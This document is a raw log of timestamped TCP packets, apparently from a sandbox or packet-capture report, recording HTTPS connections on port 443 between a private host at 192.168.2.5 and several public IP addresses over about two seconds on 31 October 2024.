Oct 31, 2024 01:18:23.269131899 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.279692888 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.279692888 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.279774904 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.308501005 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.308540106 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.309061050 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.309499979 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.309516907 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.333483934 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.333492041 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.379707098 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.379757881 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.381314993 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.381501913 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.383538008 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.383554935 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.384284973 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384637117 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384680033 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.384778976 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384845018 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384851933 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.384931087 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384965897 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.384980917 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.385171890 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.385173082 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.385181904 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.385205030 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.385807037 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.385809898 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.385819912 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.385819912 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.386070967 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.386262894 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:23.386275053 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:23.499952078 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.549143076 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.549151897 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.554970980 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.555020094 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.555155993 CET	443	49709	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.555224895 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.555224895 CET	49709	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.562810898 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.562870026 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.562907934 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.563000917 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.563030958 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.563035965 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.563050032 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.563072920 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.563235044 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.563443899 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.574385881 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.574665070 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.574671030 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.626401901 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.681411028 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.681477070 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.681546926 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.681555033 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.682410002 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.682543039 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.682549000 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.686892986 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.686991930 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.686996937 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.695518017 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.695621014 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.695626020 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.704375029 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.704574108 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.704579115 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.714164972 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.714255095 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.714262009 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.722035885 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.722103119 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.722107887 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.730034113 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.730135918 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.730140924 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.738084078 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.738189936 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.738194942 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.782670975 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.782679081 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800066948 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800100088 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800112009 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.800120115 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800160885 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.800165892 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800430059 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.800482035 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.800487995 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.801199913 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.801240921 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.801250935 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.801255941 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.801299095 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.802259922 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.805582047 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.805615902 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.805634022 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.805639029 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.805677891 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.812340975 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.818496943 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.818530083 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.818542957 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.818547010 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.818602085 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.831631899 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.831686974 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.831723928 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.831738949 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.831743956 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.831794977 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.836462021 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.842679024 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.842725039 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.842730045 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.848556042 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.848599911 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.848603964 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.854532957 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.854583979 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.854587078 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.860604048 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.860649109 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.860654116 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.866727114 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.866770029 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.866770029 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.866784096 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.866856098 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.872904062 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.878817081 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.878851891 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.878868103 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.878874063 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.878916025 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.884726048 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.909219980 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.909265995 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.909271002 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.918865919 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.918904066 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.918914080 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.918917894 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.918963909 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.918967962 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.919229031 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.919267893 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.919274092 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.919279099 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.919318914 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.919322014 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.919980049 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.920017004 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.920025110 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.920031071 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.920070887 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.924731970 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.929846048 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.929892063 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.929896116 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.935308933 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.935347080 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.935352087 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.935358047 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.935400009 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.938714027 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.942054033 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.942101955 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.942106009 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.945065022 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.945101976 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.945106983 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.945112944 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.945156097 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.948302031 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.951503992 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.951539993 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.951549053 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.951554060 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.951591015 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.954688072 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.954778910 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.954821110 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.954826117 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.957772970 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.957822084 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.957827091 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.957981110 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:23.958010912 CET	443	49711	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:23.958060026 CET	49711	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.114630938 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.123286009 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.123986959 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.126728058 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.127857924 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.150293112 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.150316000 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.151135921 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.151141882 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.151552916 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.151612997 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.152142048 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.152148962 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.152565956 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.152575970 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.156167030 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.156171083 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.157639980 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.157645941 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.161663055 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.161667109 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.162096024 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.162127018 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.163387060 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.163395882 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.166270971 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.166635036 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.166645050 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.166924000 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.167248011 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.167300940 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.167408943 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.211373091 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.279100895 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279119968 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279171944 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279190063 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279444933 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279459000 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279473066 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279553890 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279582977 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279598951 CET	443	49719	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279640913 CET	49719	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279680014 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279735088 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279745102 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279787064 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.279829025 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.279877901 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.280284882 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.280296087 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.280308008 CET	49718	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.280313015 CET	443	49718	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283577919 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283595085 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283664942 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.283677101 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283714056 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.283720016 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283730030 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.283766031 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285165071 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285202026 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.285254955 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285280943 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285283089 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.285331964 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285430908 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285445929 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.285531044 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285538912 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.285556078 CET	49715	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285558939 CET	443	49715	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.285661936 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.285671949 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.287652969 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.287687063 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.287743092 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.287869930 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.287887096 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.289915085 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.290071011 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.290148973 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.290184021 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.290203094 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.290204048 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.290225029 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.290260077 CET	49717	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.290275097 CET	443	49717	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.291012049 CET	49716	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.291017056 CET	443	49716	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.293458939 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293467999 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.293576002 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293690920 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293703079 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.293745041 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293760061 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293767929 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.293945074 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:24.293957949 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:24.474651098 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.596261978 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:24.596348047 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.598423004 CET	49714	443	192.168.2.5	142.250.185.132
Oct 31, 2024 01:18:24.598443031 CET	443	49714	142.250.185.132	192.168.2.5
Oct 31, 2024 01:18:25.126888037 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.126986980 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.127049923 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.127224922 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.128741980 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.129132986 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:25.129179955 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:25.129683018 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.129712105 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.129764080 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:25.130085945 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.130101919 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.130240917 CET	49726	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.130247116 CET	443	49726	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.130745888 CET	49724	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.130749941 CET	443	49724	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.130893946 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.130924940 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.131283045 CET	49725	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.131290913 CET	443	49725	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.131388903 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.131402016 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.131774902 CET	49727	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.131779909 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.132359982 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.132380009 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.132720947 CET	49723	443	192.168.2.5	13.107.246.45
Oct 31, 2024 01:18:25.132728100 CET	443	49723	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.133538961 CET	49728	443	192.168.2.5	20.12.23.50
Oct 31, 2024 01:18:25.133555889 CET	443	49728	20.12.23.50	192.168.2.5
Oct 31, 2024 01:18:25.254991055 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.255233049 CET	443	49727	13.107.246.45	192.168.2.5
Oct 31, 2024 01:18:25.255332947 CET	443	49726	13.107.246.45	192.168.2.5
